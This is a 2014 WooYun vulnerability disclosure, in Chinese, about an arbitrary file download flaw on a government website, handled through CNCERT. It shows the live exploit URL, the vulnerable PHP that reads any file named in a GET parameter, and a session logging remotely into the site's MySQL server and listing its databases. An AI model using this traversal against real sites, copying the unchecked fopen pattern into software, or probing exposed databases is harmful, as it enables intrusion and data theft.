当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081560

漏洞标题:某政府网站任意文件下载

相关厂商:某政府网站

漏洞作者: Se7enFi5e

提交时间:2014-11-03 11:20

修复时间:2014-12-18 11:28

公开时间:2014-12-18 11:28

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:7

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-03: 细节已通知厂商并且等待厂商处理中
2014-11-07: 厂商已经确认,细节仅向厂商公开
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

网站任意文件下载,数据库可远程链接

详细说明:

http://www.qdzjj.gov.cn/download.php?path=download.php

<?php
$path = $_GET['path'];
if(!empty($path) and !is_null($path)){
$filename=$path;
$file=fopen($path,"r");
header("Content-type:application/octet-stream");
header("Accept-ranges:bytes");
header("Accept-length:".filesize($path));
header("Content-Disposition:attachment;filename=".$filename);
echo fread($file,filesize($path));
fclose($file);
exit;
}
?>


$ mysql -h 117.25.149.195 -u*** -p***
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 231340
Server version: 5.5.35 MySQL Community Server (GPL)
Copyright (c) 2000, 2014, Oracle, Monty Program Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> ls
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ls' at line 1
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| sql_qdjsj |
| test |
+--------------------+
3 rows in set (0.11 sec)
MySQL [(none)]> use sql_qdjsj
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [sql_qdjsj]>

漏洞证明:

同上详细说明

修复方案:

过滤

版权声明:转载请注明来源 Se7enFi5e@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-11-07 14:28

厂商回复:

最新状态:

暂无